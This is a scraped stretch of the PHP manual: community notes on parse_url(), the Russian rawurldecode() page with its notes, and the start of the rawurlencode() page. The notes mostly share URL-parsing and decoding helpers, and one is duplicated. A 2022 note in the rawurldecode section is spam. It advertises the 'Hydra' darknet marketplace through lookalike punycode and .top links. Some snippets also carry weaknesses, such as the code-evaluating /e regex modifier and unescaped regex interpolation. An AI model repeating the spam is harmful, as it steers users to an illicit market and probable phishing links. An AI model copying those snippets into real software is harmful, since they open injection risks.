print_r(parse_url("http://login.yahoo.com?.src=ym&.intl=gb&.lang=zh-Hans-HK&.done=https://mail.yahoo.com"));
?>
lauris () lauris ! lv 09-Apr-2014 08:49
Here is utf-8 compatible parse_url() replacement function based on "laszlo dot janszky at gmail dot com" work. Original incorrectly handled URLs with user:pass. Also made PHP 5.5 compatible (got rid of now deprecated regex /e modifier).

<?php

    /**
     * UTF-8 aware parse_url() replacement.
     *
     * @return array
     */
    function mb_parse_url($url)
    {
        $enc_url = preg_replace_callback(
            '%[^:/@?&=#]+%usD',
            function ($matches)
            {
                return urlencode($matches[0]);
            },
            $url
        );

        $parts = parse_url($enc_url);

        if($parts === false)
        {
            throw new \InvalidArgumentException('Malformed URL: ' . $url);
        }

        foreach($parts as $name => $value)
        {
            $parts[$name] = urldecode($value);
        }

        return $parts;
    }

?>
ivijan dot stefan at gmail dot com 26-Mar-2014 04:49
Here's a good way to using parse_url () gets the youtube link.
This function I used in many works:

<?php
function youtube($url, $width=560, $height=315, $fullscreen=true)
{
    parse_str( parse_url( $url, PHP_URL_QUERY ), $my_array_of_vars );
    $youtube= '<iframe allowtransparency="true" scrolling="no" width="'.$width.'" height="'.$height.'" src="//www.youtube.com/embed/'.$my_array_of_vars['v'].'" frameborder="0"'.($fullscreen?' allowfullscreen':NULL).'></iframe>';
    return $youtube;
}

// show youtube on my page
$url='http://www.youtube.com/watch?v=yvTd6XxgCBE';
 youtube($url, 560, 315, true);
?>

parse_url () allocates a unique youtube code and  put into iframe link and displayed on your page. The size of the videos choose yourself.

Enjoy.
utilmind 01-Jul-2013 12:06
parse_url doesn't works if the protocol doesn't specified. This seems like sandard, even the youtube doesn't gives the protocol name when generates code for embedding which have a look like "//youtube.com/etc".

So, to avoid bug, you must always check, whether the provided url has the protocol, and if not (starts with 2 slashes) -- add the "http:" prefix.
laszlo dot janszky at gmail dot com 24-May-2012 08:20
Created another parse_url utf-8 compatible function.
<?php
function mb_parse_url($url) {
    $encodedUrl = preg_replace('%[^:/?#&=\.]+%usDe', 'urlencode(\'$0\')', $url);
    $components = parse_url($encodedUrl);
    foreach ($components as &$component)
        $component = urldecode($component);
    return $components;
}
?>
therselman at gmail 28-Jan-2012 01:03
UTF-8 aware parse_url() replacement.

I've realized that even though UTF-8 characters are not allowed in URL's, I have to work with a lot of them and parse_url() will break.

Based largely on the work of "mallluhuct at gmail dot com", I added parse_url() compatible "named values" which makes the array values a lot easier to work with (instead of just numbers). I also implemented detection of port, username/password and a back-reference to better detect URL's like this: //en.wikipedia.com
... which, although is technically an invalid URL, it's used extensively on sites like wikipedia in the href of anchor tags where it's valid in browsers (one of the types of URL's you have to support when crawling pages). This will be accurately detected as the host name instead of "path" as in all other examples.

I will submit my complete function (instead of just the RegExp) which is an almost "drop-in" replacement for parse_url(). It returns a cleaned up array (or false) with values compatible with parse_url(). I could have told the preg_match() not to store the unused extra values, but it would complicate the RegExp and make it more difficult to read, understand and extend. The key to detecting UTF-8 characters is the use of the "u" parameter in preg_match().

<?php
function parse_utf8_url($url)
{
    static $keys = array('scheme'=>0,'user'=>0,'pass'=>0,'host'=>0,'port'=>0,'path'=>0,'query'=>0,'fragment'=>0);
    if (is_string($url) && preg_match(
            '~^((?P<scheme>[^:/?#]+):(//))?((\\3|//)?(?:(?P<user>[^:]+):(?P<pass>[^@]+)@)?(?P<host>[^/?:#]*))(:(?P<port>\\d+))?' .
            '(?P<path>[^?#]*)(\\?(?P<query>[^#]*))?(#(?P<fragment>.*))?~u', $url, $matches))
    {
        foreach ($matches as $key => $value)
            if (!isset($keys[$key]) || empty($value))
                unset($matches[$key]);
        return $matches;
    }
    return false;
}
?>

UTF-8 URL's can/should be "normalized" after extraction with this function.
thomas at gielfeldt dot com 02-Dec-2011 02:50
[If you haven't yet] been able to find a simple conversion back to string from a parsed url, here's an example:

<?php

$url = 'http://usr:pss@example.com:81/mypath/myfile.html?a=b&b[]=2&b[]=3#myfragment';
if ($url === unparse_url(parse_url($url))) {
  print "YES, they match!\n";
}

function unparse_url($parsed_url) {
  $scheme   = isset($parsed_url['scheme']) ? $parsed_url['scheme'] . '://' : '';
  $host     = isset($parsed_url['host']) ? $parsed_url['host'] : '';
  $port     = isset($parsed_url['port']) ? ':' . $parsed_url['port'] : '';
  $user     = isset($parsed_url['user']) ? $parsed_url['user'] : '';
  $pass     = isset($parsed_url['pass']) ? ':' . $parsed_url['pass']  : '';
  $pass     = ($user || $pass) ? "$pass@" : '';
  $path     = isset($parsed_url['path']) ? $parsed_url['path'] : '';
  $query    = isset($parsed_url['query']) ? '?' . $parsed_url['query'] : '';
  $fragment = isset($parsed_url['fragment']) ? '#' . $parsed_url['fragment'] : '';
  return "$scheme$user$pass$host$port$path$query$fragment";
}

?>
jesse at example dot com 25-Sep-2010 07:48
@ solenoid: Your code was very helpful, but it fails when the current URL has no query string (it appends '&' instead of '?' before the query).  Below is a fixed version that catches this edge case and corrects it.

<?php
function modify_url($mod)
{
    $url = "http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
    $query = explode("&", $_SERVER['QUERY_STRING']);
    if (!$_SERVER['QUERY_STRING']) {$queryStart = "?";} else {$queryStart = "&";}
    // modify/delete data
    foreach($query as $q)
    {
        list($key, $value) = explode("=", $q);
        if(array_key_exists($key, $mod))
        {
            if($mod[$key])
            {
                $url = preg_replace('/'.$key.'='.$value.'/', $key.'='.$mod[$key], $url);
            }
            else
            {
                $url = preg_replace('/&?'.$key.'='.$value.'/', '', $url);
            }
        }
    }
    // add new data
    foreach($mod as $key => $value)
    {
        if($value && !preg_match('/'.$key.'=/', $url))
        {
            $url .= $queryStart.$key.'='.$value;
        }
    }
    return $url;
}
?>
solenoid at example dot com 22-Apr-2010 04:05
Here's a piece of code that modifies, replaces or removes the url query. This can typically used in paging situations where there are more parameters than the page.

<?php
function modify_url($mod)
{
    $url = "http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
    $query = explode("&", $_SERVER['QUERY_STRING']);
    // modify/delete data
    foreach($query as $q)
    {
        list($key, $value) = explode("=", $q);
        if(array_key_exists($key, $mod))
        {
            if($mod[$key])
            {
                $url = preg_replace('/'.$key.'='.$value.'/', $key.'='.$mod[$key], $url);
            }
            else
            {
                $url = preg_replace('/&?'.$key.'='.$value.'/', '', $url);
            }
        }
    }
    // add new data
    foreach($mod as $key => $value)
    {
        if($value && !preg_match('/'.$key.'=/', $url))
        {
            $url .= '&'.$key.'='.$value;
        }
    }
    return $url;
}

// page url: "http://www.example.com/page.php?p=5&show=list&style=23"

$url = modify_url(array('p' => 4, 'show' => 'column'));

// $url = "http://www.example.com/page.php?p=4&show=column&style=23"
?>
james at roundeights dot com 26-Feb-2010 11:24
I was writing unit tests and needed to cause this function to kick out an error and return FALSE in order to test a specific execution path. If anyone else needs to force a failure, the following inputs will work:

<?php
parse_url("http:///example.com");
parse_url("http://:80");
parse_url("http://user@:80");
?>
need_sunny at yahoo dot com 25-Dec-2009 05:57
Thanks to xellisx for his parse_query function. I used it in one of my projects and it works well. But it has an error. I fixed the error and improved it a little bit. Here is my version of it:

<?php
// Originally written by xellisx
function parse_query($var)
 {
  /**
   *  Use this function to parse out the query array element from
   *  the output of parse_url().
   */
  $var  = parse_url($var, PHP_URL_QUERY);
  $var  = html_entity_decode($var);
  $var  = explode('&', $var);
  $arr  = array();

  foreach($var as $val)
   {
    $x          = explode('=', $val);
    $arr[$x[0]] = $x[1];
   }
  unset($val, $x, $var);
  return $arr;
 }
?>

At the first line there was parse_query($val), I made it $var. It used to return a null array before this fix.

I have added the parse_url line. So now the function will only focus in the query part, not the whole URL. This is useful if something like below is done:
<?php
$my_GET = parse_query($_SERVER['REQUEST_URI']);
?>
nirazuelos at gmail dot com 09-Oct-2009 02:45
Hello, for some odd reason, parse_url returns the host (ex. example.com) as the path when no scheme is provided in the input url. So I've written a quick function to get the real host:

<?php
function getHost($Address) {
   $parseUrl = parse_url(trim($Address));
   return trim($parseUrl[host] ? $parseUrl[host] : array_shift(explode('/', $parseUrl[path], 2)));
}

getHost("example.com"); // Gives example.com
getHost("http://example.com"); // Gives example.com
getHost("www.example.com"); // Gives www.example.com
getHost("http://example.com/xyz"); // Gives example.com
?>

You could try anything! It gives the host (including the subdomain if exists).

Hope it helped you.
ap dot public1 at gmail dot com 14-Jul-2009 08:36
Simple static library that allows easy manipulation of url parameters:

<?php
    /**
     * File provides easy way to manipulate url parameters
     * @author Alexander Podgorny
     */

    class Url {
        /**
         * Splits url into array of it's pieces as follows:
         * [scheme]://[user]:[pass]@[host]/[path]?[query]#[fragment]
         * In addition it adds 'query_params' key which contains array of
         * url-decoded key-value pairs
         *
         * @param String $sUrl Url
         * @return Array Parsed url pieces
         */
        public static function explode($sUrl) {
            $aUrl = parse_url($sUrl);
            $aUrl['query_params'] = array();
            $aPairs = explode('&', $aUrl['query']);
            DU::show($aPairs);
            foreach($aPairs as $sPair) {
                if (trim($sPair) == '') { continue; }
                list($sKey, $sValue) = explode('=', $sPair);
                $aUrl['query_params'][$sKey] = urldecode($sValue);
            }
            return $aUrl;
        }
        /**
         * Compiles url out of array of it's pieces (returned by explodeUrl)
         * 'query' is ignored if 'query_params' is present
         *
         * @param Array $aUrl Array of url pieces
         */
        public static function implode($aUrl) {
            //[scheme]://[user]:[pass]@[host]/[path]?[query]#[fragment]

            $sQuery = '';

            // Compile query
            if (isset($aUrl['query_params']) && is_array($aUrl['query_params'])) {
                $aPairs = array();
                foreach ($aUrl['query_params'] as $sKey=>$sValue) {
                    $aPairs[] = $sKey.'='.urlencode($sValue);
                }
                $sQuery = implode('&', $aPairs);
            } else {
                $sQuery = $aUrl['query'];
            }

            // Compile url
            $sUrl =
                $aUrl['scheme'] . '://' . (
                    isset($aUrl['user']) && $aUrl['user'] != '' && isset($aUrl['pass'])
                       ? $aUrl['user'] . ':' . $aUrl['pass'] . '@'
                       : ''
                ) .
                $aUrl['host'] . (
                    isset($aUrl['path']) && $aUrl['path'] != ''
                       ? $aUrl['path']
                       : ''
                ) . (
                   $sQuery != ''
                       ? '?' . $sQuery
                       : ''
                ) . (
                   isset($aUrl['fragment']) && $aUrl['fragment'] != ''
                       ? '#' . $aUrl['fragment']
                       : ''
                );
            return $sUrl;
        }
        /**
         * Parses url and returns array of key-value pairs of url params
         *
         * @param String $sUrl
         * @return Array
         */
        public static function getParams($sUrl) {
            $aUrl = self::explode($sUrl);
            return $aUrl['query_params'];
        }
        /**
         * Removes existing url params and sets them to those specified in $aParams
         *
         * @param String $sUrl Url
         * @param Array $aParams Array of Key-Value pairs to set url params to
         * @return  String Newly compiled url
         */
        public static function setParams($sUrl, $aParams) {
            $aUrl = self::explode($sUrl);
            $aUrl['query'] = '';
            $aUrl['query_params'] = $aParams;
            return self::implode($aUrl);
        }
        /**
         * Updates values of existing url params and/or adds (if not set) those specified in $aParams
         *
         * @param String $sUrl Url
         * @param Array $aParams Array of Key-Value pairs to set url params to
         * @return  String Newly compiled url
         */
        public static function updateParams($sUrl, $aParams) {
            $aUrl = self::explode($sUrl);
            $aUrl['query'] = '';
            $aUrl['query_params'] = array_merge($aUrl['query_params'], $aParams);
            return self::implode($aUrl);
        }
    }

?>
vdklah at hotmail dot com 17-Oct-2008 02:53
Some example that determines the URL port.
When port not specified, it derives it from the scheme.

<?php
function getUrlPort( $urlInfo )
{
    if( isset($urlInfo['port']) ) {
        $port = $urlInfo['port'];
    } else { // no port specified; get default port
        if (isset($urlInfo['scheme']) ) {
            switch( $urlInfo['scheme'] ) {
                case 'http':
                    $port = 80; // default for http
                    break;
                case 'https':
                    $port = 443; // default for https
                    break;
                case 'ftp':
                    $port = 21; // default for ftp
                    break;
                case 'ftps':
                    $port = 990; // default for ftps
                    break;
                default:
                    $port = 0; // error; unsupported scheme
                    break;
            }
        } else {
            $port = 0; // error; unknown scheme
        }
    }
    return $port;
}

$url = "http://nl3.php.net/manual/en/function.parse-url.php";
$urlInfo = parse_url( $url );
$urlPort = getUrlPort( $urlInfo );
if( $urlPort !== 0 ) {
    print 'Found URL port: '.$urlPort;
} else {
    print 'ERROR: Could not find port at URL: '.$url;
}
?>
xellisx 01-Oct-2008 08:37
I need to parse out the query string from the referrer, so I created this function.

<?php
function parse_query($val)
 {
  /**
   *  Use this function to parse out the query array element from
   *  the output of parse_url().
   */
  $var  = html_entity_decode($var);
  $var  = explode('&', $var);
  $arr  = array();

  foreach($var as $val)
   {
    $x          = explode('=', $val);
    $arr[$x[0]] = $x[1];
   }
  unset($val, $x, $var);
  return $arr;
 }
?>
nospam at spellingcow dot com 08-Sep-2008 02:03
URL's in the query string of a relative URL will cause a problem

fails:
/page.php?foo=bar&url=http://www.example.com

parses:
http://www.foo.com/page.php?foo=bar&url=http://www.example.com
to1ne at hotmail dot com 13-Jun-2008 11:01
Based on the idea of "jbr at ya-right dot com" have I been working on a new function to parse the url:

<?php
function parseUrl($url) {
    $r  = "^(?:(?P<scheme>\w+)://)?";
    $r .= "(?:(?P<login>\w+):(?P<pass>\w+)@)?";
    $r .= "(?P<host>(?:(?P<subdomain>[\w\.]+)\.)?" . "(?P<domain>\w+\.(?P<extension>\w+)))";
    $r .= "(?::(?P<port>\d+))?";
    $r .= "(?P<path>[\w/]*/(?P<file>\w+(?:\.\w+)?)?)?";
    $r .= "(?:\?(?P<arg>[\w=&]+))?";
    $r .= "(?:#(?P<anchor>\w+))?";
    $r = "!$r!";                                                // Delimiters

    preg_match ( $r, $url, $out );

    return $out;
}
print_r ( parseUrl ( 'me:you@sub.site.org:29000/pear/validate.html?happy=me&sad=you#url' ) );
?>

This returns:
Array
(
    [0] => me:you@sub.site.org:29000/pear/validate.html?happy=me&sad=you#url
    [scheme] =>
    [1] =>
    [login] => me
    [2] => me
    [pass] => you
    [3] => you
    [host] => sub.site.org
    [4] => sub.site.org
    [subdomain] => sub
    [5] => sub
    [domain] => site.org
    [6] => site.org
    [extension] => org
    [7] => org
    [port] => 29000
    [8] => 29000
    [path] => /pear/validate.html
    [9] => /pear/validate.html
    [file] => validate.html
    [10] => validate.html
    [arg] => happy=me&sad=you
    [11] => happy=me&sad=you
    [anchor] => url
    [12] => url
)

So both named and numbered array keys are possible.

It's quite advanced, but I think it works in any case... Let me know if it doesn't...
spam at paulisageek dot com 08-Aug-2007 12:05
In reply to adrian,

Thank you very much for your function. There is a small issue with your relative protocol function. You need to remove the // when making the url the path. Here is the new function.

function resolve_url($base, $url) {
        if (!strlen($base)) return $url;
        // Step 2
        if (!strlen($url)) return $base;
        // Step 3
        if (preg_match('!^[a-z]+:!i', $url)) return $url;
        $base = parse_url($base);
        if ($url{0} == "#") {
                // Step 2 (fragment)
                $base['fragment'] = substr($url, 1);
                return unparse_url($base);
        }
        unset($base['fragment']);
        unset($base['query']);
        if (substr($url, 0, 2) == "//") {
                // Step 4
                return unparse_url(array(
                        'scheme'=>$base['scheme'],
                        'path'=>substr($url,2),
                ));
        } else if ($url{0} == "/") {
                // Step 5
                $base['path'] = $url;
        } else {
                // Step 6
                $path = explode('/', $base['path']);
                $url_path = explode('/', $url);
                // Step 6a: drop file from base
                array_pop($path);
                // Step 6b, 6c, 6e: append url while removing "." and ".." from
                // the directory portion
                $end = array_pop($url_path);
                foreach ($url_path as $segment) {
                        if ($segment == '.') {
                                // skip
                        } else if ($segment == '..' && $path && $path[sizeof($path)-1] != '..') {
                                array_pop($path);
                        } else {
                                $path[] = $segment;
                        }
                }
                // Step 6d, 6f: remove "." and ".." from file portion
                if ($end == '.') {
                        $path[] = '';
                } else if ($end == '..' && $path && $path[sizeof($path)-1] != '..') {
                        $path[sizeof($path)-1] = '';
                } else {
                        $path[] = $end;
                }
                // Step 6h
                $base['path'] = join('/', $path);

        }
        // Step 7
        return unparse_url($base);
}
adrian-php at sixfingeredman dot net 25-Jul-2007 02:58
Here's a function which implements resolving a relative URL according to RFC 2396 section 5.2. No doubt there are more efficient implementations, but this one tries to remain close to the standard for clarity. It relies on a function called "unparse_url" to implement section 7, left as an exercise for the reader (or you can substitute the "glue_url" function posted earlier).

<?php
/**
 * Resolve a URL relative to a base path. This happens to work with POSIX
 * filenames as well. This is based on RFC 2396 section 5.2.
 */
function resolve_url($base, $url) {
        if (!strlen($base)) return $url;
        // Step 2
        if (!strlen($url)) return $base;
        // Step 3
        if (preg_match('!^[a-z]+:!i', $url)) return $url;
        $base = parse_url($base);
        if ($url{0} == "#") {
                // Step 2 (fragment)
                $base['fragment'] = substr($url, 1);
                return unparse_url($base);
        }
        unset($base['fragment']);
        unset($base['query']);
        if (substr($url, 0, 2) == "//") {
                // Step 4
                return unparse_url(array(
                        'scheme'=>$base['scheme'],
                        'path'=>$url,
                ));
        } else if ($url{0} == "/") {
                // Step 5
                $base['path'] = $url;
        } else {
                // Step 6
                $path = explode('/', $base['path']);
                $url_path = explode('/', $url);
                // Step 6a: drop file from base
                array_pop($path);
                // Step 6b, 6c, 6e: append url while removing "." and ".." from
                // the directory portion
                $end = array_pop($url_path);
                foreach ($url_path as $segment) {
                        if ($segment == '.') {
                                // skip
                        } else if ($segment == '..' && $path && $path[sizeof($path)-1] != '..') {
                                array_pop($path);
                        } else {
                                $path[] = $segment;
                        }
                }
                // Step 6d, 6f: remove "." and ".." from file portion
                if ($end == '.') {
                        $path[] = '';
                } else if ($end == '..' && $path && $path[sizeof($path)-1] != '..') {
                        $path[sizeof($path)-1] = '';
                } else {
                        $path[] = $end;
                }
                // Step 6h
                $base['path'] = join('/', $path);

        }
        // Step 7
        return unparse_url($base);
}
?>


Декодирование URL-кодированной строки

  • « parse_url
  • rawurlencode »
  • PHP Manual
  • Функции URL
  • Декодирование URL-кодированной строки

rawurldecode

(PHP 4, PHP 5, PHP 7, PHP 8)

rawurldecode — Декодирование URL-кодированной строки

Описание

rawurldecode(string $string): string

Возвращает строку, в которой последовательность знаков процента (%) и следующие за ним два шестнадцатеричных числа заменены буквальными символами.

Список параметров

string

URL, который должен быть декодирован.

Возвращаемые значения

Возвращает декодированный URL в виде строки.

Примеры

Пример #1 Пример использования rawurldecode()

<?php

echo rawurldecode('foo%20bar%40baz'); // foo bar@baz

?>

Примечания

Замечание:

rawurldecode() не декодирует символ сложения ('+') в пробелы. Это делает urldecode().

Смотрите также

  • rawurlencode() - URL-кодирование строки согласно RFC 3986
  • urldecode() - Декодирование URL-кодированной строки
  • urlencode() - URL-кодирование строки
  • » RFC 3986

User Contributed Notes

Jameswhoto 07-Feb-2022 11:47
PHP: Add Manual Note
-
Hydraruzxpnew4af - официальный веб-сайт Гидра: https://onion.xn--hdraruxzpnew4af-n35h.com. На нем можно найти тысячи шопов и частных продавцов, которые предлагают покупку любых продуктов на ваш выбор. Площадка открыта для новых пользователей, а также продавцов. Независимо от цели ее использования, вы можете осуществить простую регистрацию и получить максимальный доступ. Магазин Гидра-шоп является крупнейшим в СНГ, а потому, его использование открывает большой перечень возможностей для каждого пользователя. Если вы планируете покупать продукты, то стоит детально изучать проект, поскольку на нем можно найти огромное множество предложений от различных селлеров. Они будут отличаться по стоимости и характерным свойствам. Потому советуем тщательно искать варианты и сравнивать отзывы о шопах, чтобы получить наилучший товар по привлекательной цене. hydraruzxpnew4af

<a href=https://hydraruzapsnew4af.top>гидра купить
</a>

faga76iJ-1
admin at yemennownews dot com 20-May-2018 01:43
Let's say you pass some data between the client and the server in a more or less array-like structure.

If using the [] brackets in the field names is not enough (or won't comply with the rest of the project for some reason), you might have to use a string with a number of different delimiters (rows, fields, rows inside fields and such).

To make sure that the data doesn't get mistaken for delimiters, you can use the encodeURIComponent() JavaScript function. It pairs nicely with rawurldecode().

Once the string passed to the server side finally gets exploded into an array (or set of such), you could use the following function to recursively rawurldecode the array(s):

<?php

function rawurldecode_array(&$arr)
{
    foreach (array_keys($arr) as $key)
    {
        if (is_array($arr[$key]))
        {
            rawurldecode_array($arr[$key]);
        }
        else
        {
            $arr[$key] = rawurldecode($arr[$key]);
        }
    }
}

$a[0] = rawurlencode("2+1:3?9");
$a["k"] = rawurlencode("@:-/");
$a[-3][0] = rawurlencode("+");
$a[-3][2] = rawurlencode("=_~");
$a[-3]["a"] = rawurlencode("this+is a%test");

echo "<pre>"; print_r($a); echo "</pre>";

rawurldecode_array($a);

echo "<pre>"; print_r($a); echo "</pre>";

?>

The program will output:

Array
(
    [0] => 2%2B1%3A3%3F9
    [k] => %40%3A-%2F
    [-3] => Array
        (
            [0] => %2B
            [2] => %3D_%7E
            [a] => this%2Bis%20a%25test
        )

)

Array
(
    [0] => 2+1:3?9
    [k] => @:-/
    [-3] => Array
        (
            [0] => +
            [2] => =_~
            [a] => this+is a%test
        )

)

http://yemennownews.com
jakub dot lopuszanski at nasza-klasa dot pl 24-Jan-2014 07:59
Be aware that rawurldecode does not warn you in any way if the output is nonvalid UTF-8.
For example if the input passed to the function is just "%C5", then since C is 1100 in binary, and UTF-8 characters starting with 110 should be followed by another character, the result of rawurldecode will be just a single byte (with value \xC5) which is not a correct UTF-8.
Confront this with for example Javascript which will warn you about it:

JAVASCRIPT:

decodeURI("%C5")
URIError: URI malformed

decodeURIComponent("%C5")
URIError: URI malformed

unescape("%C5")
"A"

PHP:
var_dump(rawurldecode("%C5"))
string(1) "-"

php -v
PHP 5.3.6 (cli) (built: Oct  4 2012 10:19:07)
Copyright (c) 1997-2011 The PHP Group
Zend Engine v2.3.0, Copyright (c) 1998-2011 Zend Technologies
    with Suhosin v0.9.32.1, Copyright (c) 2007-2010, by SektionEins GmbH
Cagivaracer 06-Jul-2009 04:40
Please note that the combination encodeURIComponent (Javascript) and rawurldecode (PHP) only works well if magic quotes are turned off in php.ini (magic_quotes_gpc = Off)
Javier A. Segura at gmail dot com 04-Jan-2008 12:13
Hi everybody =) My name is Javier and I'm from Argentina.
I've had a little issue with latin characters like n","N","a","e","i", etc.
They are not decoded with rawurlencode(), so I've made this:
<?php
function urlRawDecode($raw_url_encoded)
{
    # Hex conversion table
    $hex_table = array(
        0 => 0x00,
        1 => 0x01,
        2 => 0x02,
        3 => 0x03,
        4 => 0x04,
        5 => 0x05,
        6 => 0x06,
        7 => 0x07,
        8 => 0x08,
        9 => 0x09,
        "A"=> 0x0a,
        "B"=> 0x0b,
        "C"=> 0x0c,
        "D"=> 0x0d,
        "E"=> 0x0e,
        "F"=> 0x0f
    );

    # Fixin' latin character problem
        if(preg_match_all("/\%C3\%([A-Z0-9]{2})/i", $raw_url_encoded,$res))
        {
            $res = array_unique($res = $res[1]);
            $arr_unicoded = array();
            foreach($res as $key => $value){
                $arr_unicoded[] = chr(
                        (0xc0 | ($hex_table[substr($value,0,1)]<<4))
                       | (0x03 & $hex_table[substr($value,1,1)])
                );
                $res[$key] = "%C3%" . $value;
            }

            $raw_url_encoded = str_replace(
                                    $res,
                                    $arr_unicoded,
                                    $raw_url_encoded
                        );
        }

        # Return decoded  raw url encoded data
        return rawurldecode($raw_url_encoded);
}

print urlRawDecode("%C3%A1%C3%B1");

// output:
// an

?>
For example, you have the character "n" encoded like this "%C3%B1".
This is nothing more and nothing less than 0xc3 and 0xb1,
they are binary numbers, (HHHH LLLL, where HHHH=High and LLLL=Low).
0xc3 = 1100 0011 (binary 8 bit word), 0xb1 = 1011 0001 (binary 8 bit word),
To convert a raw encoded character to ascii we have to make boolean operations
between this two operands (0xc3 and 0xb1), boolean algebra were defined by George
Boole, we need to use them here. The first one we going to use is the
logical OR ("|" or "pipe") and logical AND ("&" or "and person").

A logical OR implies the following truth table:
a b (a OR b)
0 0     0
0 1     1   (a OR b or Both, a and b, must be true to get a true result)
1 0     1
1 1     1

A logical AND implies the following truth table:
a b (a AND b)
0 0     0
0 1     0
1 0     0
1 1     1   (Both a AND b, must be true to get a true result)

So, here we have to make a logical OR with both 0xc3 and 0xb1 HIGH nibble,
a nibble is a half byte (4 bits), so we have to make a logical OR between
1100 (0xc) and 1011 (0xb), we going to get this: 1111 (0xf), then we have to make
a logical AND between both LOW nibble, 0011 (0x3) and 0001 (0x1), we going to get
this: 0001, so, if we want to see the final result, we have to put HIGH and LOW
nibble on his Byte position, like this: 1111 0001 (0xf1) and that is nothing
more and nothing less than "n" (to check this out, try the following: print(chr(0xf1));).

This "<<" is a logical shift left, if we have this binary number 0001 (1) and we make this:
0001 << 2 we'll get 0100 (4) right bits are filled with 0's.

<?php
# Conversion example %C3%B1 to ASCII (0x71)
print(
    chr(
        (0xc0|0x0b<<4) | (0x03&0x01)
    )
);

// Output will be:
// n

// 1100 0000 OR 1011 0000 = 1111 0000 (0xf0)
// 0000 0011 AND 0000 0001 = 0000 0001 (0x01)
// 1111 0000 OR 0000 0001 = 1111 0001 (0xf1)

?>

PS: I'm so sorry about my english, I know, is horrible :P
Javier A. Segura at gmail dot com 04-Jan-2008 12:07
Hi everybody =) My name is Javier and I'm from Argentina.
I've had a little issue with latin characters like n","N","a","e","i", etc.
They are not decoded with rawurlencode(), so I've made this:
<?php
function urlRawDecode($raw_url_encoded)
{
    # Hex conversion table
    $hex_table = array(
        0 => 0x00,
        1 => 0x01,
        2 => 0x02,
        3 => 0x03,
        4 => 0x04,
        5 => 0x05,
        6 => 0x06,
        7 => 0x07,
        8 => 0x08,
        9 => 0x09,
        "A"=> 0x0a,
        "B"=> 0x0b,
        "C"=> 0x0c,
        "D"=> 0x0d,
        "E"=> 0x0e,
        "F"=> 0x0f
    );

    # Fixin' latin character problem
        if(preg_match_all("/\%C3\%([A-Z0-9]{2})/i", $raw_url_encoded,$res))
        {
            $res = array_unique($res = $res[1]);
            $arr_unicoded = array();
            foreach($res as $key => $value){
                $arr_unicoded[] = chr(
                        (0xc0 | ($hex_table[substr($value,0,1)]<<4))
                       | (0x03 & $hex_table[substr($value,1,1)])
                );
                $res[$key] = "%C3%" . $value;
            }

            $raw_url_encoded = str_replace(
                                    $res,
                                    $arr_unicoded,
                                    $raw_url_encoded
                        );
        }

        # Return decoded  raw url encoded data
        return rawurldecode($raw_url_encoded);
}

print urlRawDecode("%C3%A1%C3%B1");

// output:
// an

?>
For example, you have the character "n" encoded like this "%C3%B1".
This is nothing more and nothing less than 0xc3 and 0xb1,
they are binary numbers, (HHHH LLLL, where HHHH=High and LLLL=Low).
0xc3 = 1100 0011 (binary 8 bit word), 0xb1 = 1011 0001 (binary 8 bit word),
To convert a raw encoded character to ascii we have to make boolean operations
between this two operands (0xc3 and 0xb1), boolean algebra were defined by George
Boole, we need to use them here. The first one we going to use is the
logical OR ("|" or "pipe") and logical AND ("&" or "and person").

A logical OR implies the following truth table:
a b (a OR b)
0 0     0
0 1     1   (a OR b or Both, a and b, must be true to get a true result)
1 0     1
1 1     1

A logical AND implies the following truth table:
a b (a AND b)
0 0     0
0 1     0
1 0     0
1 1     1   (Both a AND b, must be true to get a true result)

So, here we have to make a logical OR with both 0xc3 and 0xb1 HIGH nibble,
a nibble is a half byte (4 bits), so we have to make a logical OR between
1100 (0xc) and 1011 (0xb), we going to get this: 1111 (0xf), then we have to make
a logical AND between both LOW nibble, 0011 (0x3) and 0001 (0x1), we going to get
this: 0001, so, if we want to see the final result, we have to put HIGH and LOW
nibble on his Byte position, like this: 1111 0001 (0xf1) and that is nothing
more and nothing less than "n" (to check this out, try the following: print(chr(0xf1));).

This "<<" is a logical shift left, if we have this binary number 0001 (1) and we make this:
0001 << 2 we'll get 0100 (4) right bits are filled with 0's.

<?php
# Conversion example %C3%B1 to ASCII (0x71)
print(
    chr(
        (0xc0|0x0b<<4) | (0x03&0x01)
    )
);

// Output will be:
// n

// 1100 0000 OR 1011 0000 = 1111 0000 (0xf0)
// 0000 0011 AND 0000 0001 = 0000 0001 (0x01)
// 1111 0000 OR 0000 0001 = 1111 0001 (0xf1)

?>

PS: I'm so sorry about my english, I know, is horrible :P
Tomek Perlak [tomekperlak at tlen pl] 13-Nov-2006 03:03
Let's say you pass some data between the client and the server in a more or less array-like structure.

If using the [] brackets in the field names is not enough (or won't comply with the rest of the project for some reason), you might have to use a string with a number of different delimiters (rows, fields, rows inside fields and such).

To make sure that the data doesn't get mistaken for delimiters, you can use the encodeURIComponent() JavaScript function. It pairs nicely with rawurldecode().

Once the string passed to the server side finally gets exploded into an array (or set of such), you could use the following function to recursively rawurldecode the array(s):

<?php

function rawurldecode_array(&$arr)
{
    foreach (array_keys($arr) as $key)
    {
        if (is_array($arr[$key]))
        {
            rawurldecode_array($arr[$key]);
        }
        else
        {
            $arr[$key] = rawurldecode($arr[$key]);
        }
    }
}

$a[0] = rawurlencode("2+1:3?9");
$a["k"] = rawurlencode("@:-/");
$a[-3][0] = rawurlencode("+");
$a[-3][2] = rawurlencode("=_~");
$a[-3]["a"] = rawurlencode("this+is a%test");

echo "<pre>"; print_r($a); echo "</pre>";

rawurldecode_array($a);

echo "<pre>"; print_r($a); echo "</pre>";

?>

The program will output:

Array
(
    [0] => 2%2B1%3A3%3F9
    [k] => %40%3A-%2F
    [-3] => Array
        (
            [0] => %2B
            [2] => %3D_%7E
            [a] => this%2Bis%20a%25test
        )

)

Array
(
    [0] => 2+1:3?9
    [k] => @:-/
    [-3] => Array
        (
            [0] => +
            [2] => =_~
            [a] => this+is a%test
        )

)
php dot net at hiddemann dot org 23-May-2005 02:08
To sum it up: the only difference of this function to the urldecode function is that the "+" character won't get translated.


URL-кодирование строки согласно RFC 3986

  • « rawurldecode
  • urldecode »
  • PHP Manual
  • Функции URL
  • URL-кодирование строки согласно RFC 3986

rawurlencode

(PHP 4, PHP 5, PHP 7, PHP 8)

rawurlencode — URL-кодирование строки согласно RFC 3986

Описание

rawurlencode(string $string): string

Кодирует строку согласно » RFC 3986.

Список параметров

string

URL, который должен быть закодирован.

Возвращаемые значения

